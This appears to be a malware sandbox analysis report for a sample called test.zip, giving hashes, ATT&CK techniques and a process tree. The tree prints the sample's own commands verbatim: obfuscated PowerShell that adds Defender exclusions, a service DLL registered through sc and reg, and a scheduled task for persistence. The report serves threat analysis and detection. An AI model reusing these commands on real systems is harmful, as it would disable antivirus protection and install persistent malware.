ea9df543b10ca5df71859a023c71dc2f3ba731554615806fb5d3ef7f667870e7

Resubmissions

05/11/2024, 23:54

241105-3x67rasbpn8

04/11/2024, 07:02

241104-ht24eawgrd8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05/11/2024, 23:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.zip
Size 30.5MB
Sample241105-3x67rasbpn
SHA256 ea9df543b10ca5df71859a023c71dc2f3ba731554615806fb5d3ef7f667870e7
MD5 7beed48971f983858d0364ab70495207
SHA1 0c8324325b4366df84a4e5b13f6890af41c81615
SHA512 c5775ef536ed644ef50bfc09037f9c0fa174eae81ed78377b57450ce9097917aefceeb22270d74e7105ebef295f7a0b27ba1389cb2e9193c73e2799eaf310265
SSDEEP 786432:xFGbMWAPeg+EIlvRX/dVAb81e/D74XXRKEKnt6nW24VQtFuD:fGIPeg+RlvRvdV48ewXyntuwetFuD
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4148	powershell.exe
4448	powershell.exe
4840	powershell.exe
4808	powershell.exe
2064	powershell.exe
5020	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\x123643\Parameters\ServiceDll = "C:\\Windows\\System32\\x123643.dat"	reg.exe

Executes dropped EXE 2 IoCs

pid	Process
4808	printui.exe
4696	console_zero.exe

Loads dropped DLL 14 IoCs

pid	Process
4808	printui.exe
4808	printui.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
1412	svchost.exe
4696	console_zero.exe
4696	console_zero.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
75	ipinfo.io
76	ipinfo.io

Drops file in System32 directory 20 IoCs

description	ioc	Process
File created	C:\Windows\System32\winsvcf\winlogsvc	printui.exe
File created	C:\Windows\System32\libcurl.dll	printui.exe
File created	C:\Windows\System32\libssl-3-x64.dll	printui.exe
File created	C:\Windows\System32\console_zero.exe	printui.exe
File created	C:\Windows\System32\ucrtbased.dll	printui.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\usvcldr64.dat	printui.exe
File created	C:\Windows\System32\libintl-9.dll	printui.exe
File created	C:\Windows\System32\libpq.dll	printui.exe
File created	C:\Windows\System32\vcruntime140d.dll	printui.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\System32\zlib1.dll	printui.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\libcrypto-3-x64.dll	printui.exe
File created	C:\Windows\System32\libwinpthread-1.dll	printui.exe
File created	C:\Windows\System32\x123643.dat	printui.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	\??\c:\windows\system32\winsvcf\winlogsvc	svchost.exe
File created	C:\Windows\System32\libiconv-2.dll	printui.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4612	sc.exe
1300	sc.exe

Embeds OpenSSL 2 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral1/files/0x00160000000239a2-24.dat	embeds_openssl
behavioral1/files/0x0007000000023cb3-71.dat	embeds_openssl

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2892	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3120	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3440	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
4840	powershell.exe
4840	powershell.exe
4808	powershell.exe
4808	powershell.exe
2064	powershell.exe
2064	powershell.exe
5020	powershell.exe
5020	powershell.exe
4448	powershell.exe
4448	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1528	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4808	printui.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeRestorePrivilege	1528	7zFM.exe
Token: 35	1528	7zFM.exe
Token: SeSecurityPrivilege	1528	7zFM.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1528	7zFM.exe
1528	7zFM.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4808	printui.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 4148	1624	cmd.exe	109
PID 1624 wrote to memory of 4148	1624	cmd.exe	109
PID 4808 wrote to memory of 2320	4808	printui.exe	110
PID 4808 wrote to memory of 2320	4808	printui.exe	110
PID 2320 wrote to memory of 4840	2320	cmd.exe	112
PID 2320 wrote to memory of 4840	2320	cmd.exe	112
PID 4808 wrote to memory of 1792	4808	printui.exe	113
PID 4808 wrote to memory of 1792	4808	printui.exe	113
PID 1792 wrote to memory of 4612	1792	cmd.exe	115
PID 1792 wrote to memory of 4612	1792	cmd.exe	115
PID 1792 wrote to memory of 3120	1792	cmd.exe	116
PID 1792 wrote to memory of 3120	1792	cmd.exe	116
PID 1792 wrote to memory of 1300	1792	cmd.exe	117
PID 1792 wrote to memory of 1300	1792	cmd.exe	117
PID 4808 wrote to memory of 1820	4808	printui.exe	119
PID 4808 wrote to memory of 1820	4808	printui.exe	119
PID 1820 wrote to memory of 4696	1820	cmd.exe	121
PID 1820 wrote to memory of 4696	1820	cmd.exe	121
PID 4808 wrote to memory of 4648	4808	printui.exe	122
PID 4808 wrote to memory of 4648	4808	printui.exe	122
PID 4648 wrote to memory of 2892	4648	cmd.exe	124
PID 4648 wrote to memory of 2892	4648	cmd.exe	124
PID 4696 wrote to memory of 4520	4696	console_zero.exe	134
PID 4696 wrote to memory of 4520	4696	console_zero.exe	134
PID 4520 wrote to memory of 3440	4520	cmd.exe	136
PID 4520 wrote to memory of 3440	4520	cmd.exe	136
PID 1412 wrote to memory of 1820	1412	svchost.exe	137
PID 1412 wrote to memory of 1820	1412	svchost.exe	137
PID 1820 wrote to memory of 4808	1820	cmd.exe	139
PID 1820 wrote to memory of 4808	1820	cmd.exe	139
PID 1412 wrote to memory of 64	1412	svchost.exe	140
PID 1412 wrote to memory of 64	1412	svchost.exe	140
PID 64 wrote to memory of 2064	64	cmd.exe	142
PID 64 wrote to memory of 2064	64	cmd.exe	142
PID 1412 wrote to memory of 3044	1412	svchost.exe	143
PID 1412 wrote to memory of 3044	1412	svchost.exe	143
PID 3044 wrote to memory of 5020	3044	cmd.exe	145
PID 3044 wrote to memory of 5020	3044	cmd.exe	145
PID 1412 wrote to memory of 4664	1412	svchost.exe	146
PID 1412 wrote to memory of 4664	1412	svchost.exe	146
PID 4664 wrote to memory of 4448	4664	cmd.exe	148
PID 4664 wrote to memory of 4448	4664	cmd.exe	148

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\test.zip"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1528

C:\Users\Admin\Desktop\printui.exe
"C:\Users\Admin\Desktop\printui.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $decoded;"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $decoded;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4148
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4840
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create x123643 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x123643\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x123643.dat" /f && sc start x123643
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\sc.exe
    sc create x123643 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
    3⤵
    - Launches sc.exe
    PID:4612
- - C:\Windows\system32\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\services\x123643\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x123643.dat" /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Modifies registry key
    PID:3120
- - C:\Windows\system32\sc.exe
    sc start x123643
    3⤵
    - Launches sc.exe
    PID:1300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\System32\console_zero.exe
    "C:\Windows\System32\console_zero.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\System32\cmd.exe
      cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows\System32\usvcldr64.dat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\timeout.exe
    timeout /t 16 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k DcomLaunch
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1412
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4808
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'G:\'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'G:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'H:\'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'H:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9191424a02c75865d3c4af64b98ad85ededa47d09182101031cdcbe2fea69843
MD5 9b0d0d79d0bbef03f6d943f6a8af8378
SHA1 e3fb64a682ff88397cbc3f4a48057b5c638fad5d
SHA512 aae89565e6b6ac9508bfa08b1fda7ac6bc763737eeaa5d13a74e96791d8e75139991c5696ff94e784cf410b2536aa4f98791612d73461f01675dda8c18f2db0f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_1ec5ilyz.cli.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ec5ilyz.cli.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

printui.exe

Path C:\Users\Admin\Desktop\printui.exe
Size 62KB
SHA256 53db039d9d46f2f3f80df42c8ba48bb96ce4fb96c1bfce5cd61514a7ff369411
MD5 e43252474adf63e69b1fc65d202d88c3
SHA1 b1fcb1ee3cf86816ce749e40127329fc857a67a6
SHA512 7272f811056e17dd2b909241b32f7fa8dece0b35c88657277caf88ee217bfb5d87ba3895509aed3c4665adf506acf55b6cb8c2d84f1f26f40c806a900e9b1260
SSDEEP 768:a4IHmXrH6otqKYI5vI1iQfCIWVM9G4qW4ne+S/ly+PKAoXRZX6fbX57UWkCRPPAu:CcaXKdVIPd4n+lbeRZIbSQPPA7K
MD5 SHA1 SHA512 SSDEEP

Submit Download

console_zero.exe

Path C:\Windows\System32\console_zero.exe
Size 648KB
SHA256 d156b6fb93188754452743eec96a090c06bca55331746d567ac3f0b06989403d
MD5 dc2604f163d58b93d03eade66e93d53f
SHA1 a578c2319a585ed2c5004b018338de532bea9d8c
SHA512 0c9f2bd73e6ecd483b569337c4efa0a5609e48f5f5fa24f673e203be73c5e4b9af0ad8d0ab30af03640775c5657029c615c39f65b9fd2eafcb66d58f18ee5e1e
SSDEEP 12288:/8g4fg+kOWS/HkLNsFZVfuqF6ph0lhSMXliSR+RN:/B4oc/eCjVfuth0lhSMXl1R+
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto-3-x64.dll

Path C:\Windows\System32\libcrypto-3-x64.dll
Size 4.5MB
SHA256 dcc1fa1a341597ddb1476e3b5b3952456f07870a26fc30b0c6e6312764baa1fc
MD5 158f0e7c4529e3867e07545c6d1174a9
SHA1 9ff0cccb271f0215ad24427b7254832549565154
SHA512 51e79d8d0ab183046f87aa659973b45147bb1e1ae8883f688c615ccb18bf9fccb8779dd872b01748bacd56e141bc096c2bb4ccf32ebd7a49adc76363355e40fe
SSDEEP 98304:E1+WtBcda7nzo7Vd8qQQPQ1CPwDvt3uFGCC:gXtBcda7nzo7Vd8qQQY1CPwDvt3uFGCC
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl.dll

Path C:\Windows\System32\libcurl.dll
Size 575KB
SHA256 36d97f1c254832cee9698cea2f1a63ea98d231641fd29715ef581be103ace602
MD5 18ce47f58b4c1a9cfc1edf7c8bf49b7c
SHA1 e74d08ab06ed8200d7e674d8031d6df8250de8cb
SHA512 19b2d6968095c4e8f08c66ab73e7ec5e0439712bcb2777266602ef2ad123a779395a3d44bc0c7c9945376998fb2165bc60e6bf682863a55a0cff40c720594bdd
SSDEEP 12288:1dkYvMQmNkYBasGpIFetxo8u3zTkIXmaKSTQP76NuudqbaRArq:1zvMQmmYB4KQ7nu3zuSTQP76NuudqbaF
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssl-3-x64.dll

Path C:\Windows\System32\libssl-3-x64.dll
Size 799KB
SHA256 ba979c2dbfb35d205d9d28d97d177f33d501d954c7187330f6893bb7d0858713
MD5 69d0fee0cc47c3b255c317f08ce8d274
SHA1 782bc8f64b47a9dcedc95895154dca60346f5dd7
SHA512 4955252c7220810ed2eaca002e57d25fbc17862f4878983c4351c917cf7873eb84ae00e5651583004f15a08789be64bdb34ff20cb0e172c9c1376706deb4aa1a
SSDEEP 12288:NGbc08emtUas2F158w1T4qLgl85MNRlqnZ5ydEVB3i:NGoL9W0lJ5cR9dEVB3
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Windows\System32\libwinpthread-1.dll
Size 51KB
SHA256 ffe2d56375bb4e8bdee9037df6befc5016ddd8871d0d85027314dd5792f8fdc9
MD5 9dc829c2c8962347bc9adf891c51ac05
SHA1 bf9251a7165bb2981e613ac5d9051f19edb68463
